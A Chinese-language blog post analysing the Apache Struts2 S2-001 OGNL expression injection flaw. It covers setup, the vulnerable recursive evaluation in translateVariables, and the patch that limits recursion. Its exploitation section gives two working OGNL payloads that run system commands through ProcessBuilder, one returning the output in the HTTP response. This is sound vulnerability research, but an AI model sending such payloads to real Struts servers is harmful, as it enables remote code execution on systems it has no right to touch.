前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。


环境搭建

struts2 环境的搭建参考文章,详细而且好用。

阅读 S2-001 的官方通告,安装 2.0.8 版本的 struts2 依赖:

<dependency>
    <groupId>org.apache.struts</groupId>
    <artifactId>struts2-core</artifactId>
    <version>2.0.8</version>
</dependency>

配置文件和 Action 代码可以参考 Chybeta 师傅的文章

Tomcat 可以配置远程也可以配置本地,没有版本要求的情况下还是本地比较方便一点。

漏洞利用

根据官方漏洞通告,漏洞算是一个 OGNL 表达式注入的漏洞,原因在于 struts 在渲染模板的时候会递归计算表达式,而 struts 中的 JSP 页面中的表单值跟 Action 变量是绑定的,所以在 username 变量为 %{1+1} 的情况下会在本来的 %{username} 这样的表达式中将 username 当作一个表达式来处理。

所以漏洞可以在用于页面渲染的变量可控的情况下触发,比如传一个 username,然后 struts 又把这个 username 贴回模板里的时候。

贴一个命令执行的 payload:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

还有:

%{(new java.lang.ProcessBuilder(new java.lang.String[]{"deepin-calculator"})).start()}

比 spel 的反射链命令执行好看很多。

漏洞分析

不熟悉 struts 和 tomcat 的流程,按照他渲染肯定要获取 username 的想法,给 getUsername 下断点来调试,找到 UIBean.class 的 end 函数:

public boolean end(Writer writer, String body) {
    this.evaluateParams();

    try {
        super.end(writer, body, false);
        this.mergeTemplate(writer, this.buildTemplateName(this.template, this.getDefaultTemplate()));
    } catch (Exception var7) {
        LOG.error("error when rendering", var7);
    } finally {
        this.popComponentStack();
    }

    return false;
}

很明显这里就是最后返回 HTML 页面的地方,跟入处理参数的 evaluateParams 方法,看到关键代码:

Class valueClazz = this.getValueClassType();
if (valueClazz != null) {
    if (this.value != null) {
        this.addParameter("nameValue", this.findValue(this.value, valueClazz));
    } else if (name != null) {
        String expr = name;
        if (this.altSyntax()) {
            expr = "%{" + name + "}";
        }

        this.addParameter("nameValue", this.findValue(expr, valueClazz));
    }
}

这里的 name 就是变量名 username,valueClazz 就是变量类型,这里将 username 拼接成 %{username} 的表达式并执行,然后用执行结果渲染模板,继续往下走,来到 translateVariables 方法:

while (true) {
    int start = expression.indexOf(open + "{");
    int length = expression.length();
    int x = start + 2;
    int end;
    char c;
    int count = 1;
    while (start != -1 && x < length && count != 0) {
        c = expression.charAt(x++);
        if (c == '{') {
            count++;
        } else if (c == '}') {
            count--;
        }
    }
    end = x - 1;

    if ((start != -1) && (end != -1) && (count == 0)) {
        String var = expression.substring(start + 2, end);

        Object o = stack.findValue(var, asType);
        if (evaluator != null) {
            o = evaluator.evaluate(o);
        }


        String left = expression.substring(0, start);
        String right = expression.substring(end + 1);
        if (o != null) {
            if (TextUtils.stringSet(left)) {
                result = left + o;
            } else {
                result = o;
            }

            if (TextUtils.stringSet(right)) {
                result = result + right;
            }

            expression = left + o + right;
        } else {
            // the variable doesn't exist, so don't display anything
            result = left + right;
            expression = left + right;
        }
    } else {
        break;
    }
}

这里就是漏洞公告里面提到的递归执行表达式了,是一个死循环,不停地寻找最里层的 %{} 表达式,执行之后将返回结果和前后拼接再次寻找 %{} 来执行。

漏洞修复

在 translateVariables 方法的递归中加上了最大递归层数,一般为 1:

if (loopCount > maxLoopCount) {
    // translateVariables prevent infinite loop / expression recursive evaluation
    break;
}

Orz


Web Java Struts2

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

struts2系列漏洞 S2-002
Dubbo反序列化漏洞